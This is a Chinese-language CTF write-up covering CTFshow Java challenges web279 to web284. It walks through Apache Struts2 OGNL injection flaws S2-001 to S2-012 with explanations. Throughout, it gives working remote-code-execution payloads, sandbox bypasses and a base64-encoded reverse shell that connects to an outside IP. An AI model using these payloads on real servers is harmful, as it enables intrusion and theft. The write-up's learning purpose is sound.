0%

java CTFshow

java CTFshow

前面主要是堆S2的系列漏洞复现,现在S2用的也比较少了,所以就大致过了一遍

web279

首先打开靶场,只有一个whereisflag的链接,点击之后跳到如下界面

image.png

一个需要登录的,纯萌新,就是半学半写,提示在url上面,S2-001,这个没了解过,于是就去搜索了一下这个是什么,有什么漏洞之类的。

1
2
3
4
5
6
7
8
9
10
11
//获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

//获取web目录
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

//rce
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

//反弹shell,需要进行base64编码,改为自己的IP
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTguMjMuMTQ4LjUxLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

要进行url编码,否则会报错

image.png

image.png

或者利用工具:struts2scan

payload命令详解

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要是在Struts 2配置文件中,引用OGNL表达式

payload使用了Struts2的OGNL表达式语言来执行以下操作

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start()以这段代码为例,该代码创建了一个新的进程,并执行了一个命令,即whoami,接着通过#b=#a.getInputStream()获取命令输出的输入流,通过#c将输入流读取为字符流,#d创建一个缓冲字符读取器来读取字符流,#e创建一个字符数组来存储读取到的字符,#d.read(#e)将字符读取到字符数组中,#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")用于获取当前请求的HttpServeletResponse对象,最后,通过代码#f.getWriter().println(new java.lang.String(#e))#f.getWriter().flush()#f.getWriter().close()将字符数组转换为字符串,并将其输出到 HttpServletResponse 的输出流中

知识总结

S2-001

Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。(了解是个框架就行)

漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

image.png

以后遇到可以通过这个界面往S2这块联想,测试的话,%{1+1}如果回显是2,那么就可以往这块去做

找到的大佬制作的可视集成工具,牛逼

image.png

web280

image.png

S2-005

​影响版本:Struts 2.0.0-2.1.8.1

前面和第一题相同,点进去之后可以同理知道本题的漏洞是S2-005,直接去搜索漏洞

  • struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。
  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
  • 通过 unicode 编码 (\u0023) 或 8 进制 (\43) 即绕过了安全限制,

找到一个很形象的描述,S2-003修补方案把自己上了一个锁,但是却把钥匙留在了锁上面。XWork会将GET参数的键和值利用OGNL表达式解析成Java语句。

那么我们就知道S2-005是在S2-003的基础上实现的

burpsuite抓包之后,修改为post上传

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

1
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cat /etc/passwd'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
1
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

web281

image.png

S2-007

影响版本:Struts 2.0.0 - 2.2.3

在 S2 中,用户可以设置表单每个字段的规则验证,如果类型转换错误时,就会进行错误的字符串拼接,通过闭合引号导致 ognl 的语法解析。

后端从 entry.getValue() 获取到输入的参数,当运算出现错误的时候,会发起强制类型转换,之后进入函数 getOverrideExpr。在函数 getOverrideExpr 中,传入的参数会在两边拼接单引号,使得参数可以逃逸字符串的包裹,进而被解析并导致代码执行。

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27在age里面回显,在env那里可以实现rce

web282

S2-008

影响版本:Struts 2.1.0 – 2.3.1

涉及多个漏洞,主要原因是后端对传入参数没有严格限制,导致多个地方可以执行恶意代码传入?debug=command&expression=即可执行OGNL表达式

image.png

题目提供了两种姿势,但是cookie那种对cookie的名称有较多限制,在传入struts2之前就被处理,也没有找到有说的,都是用第二种或者直接上工具(u1s1,我要你那工具运行的截图干嘛,没卵用)

payload:?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

image.png

web283

S2-009

影响版本:Struts 2.0.0 - Struts 2.3.1.1

S2-009是S2-005的修复绕过,现在为了防止请求参数名中的OGNL表达式执行,主要做了以下两点:

添加了类SecurityMemberAccess,且其属性allowStaticMethodAccess默认为false,来防止利用OGNL表达式去执行Java方法;

在拦截器ParametersInterceptor中对请求参数名进行正则表达式白名单字符的匹配,来防止特殊符号(比如:#符号)经过unicode编码后的绕过。

官方在参数拦截器中,将接受参数的正则进行了升级

1
2
3
private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+";
=>
private String acceptedParamNames = "\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*";

这次的绕过使用到了OGNL表达式求值的另一种写法:[(ognl_java_code)(fuck)]

image.png

记一下一般的样式,混个眼熟

image.png

访问ajax/example5(有些是example5.action)

1
ip/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)

web284

S2-012

image.png

参考文章:

https://blog.csdn.net/mole_exp/article/details/122551201

https://blog.csdn.net/q20010619/article/details/120729447


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/il581p16knx71t1u
语雀文档ID: 188065505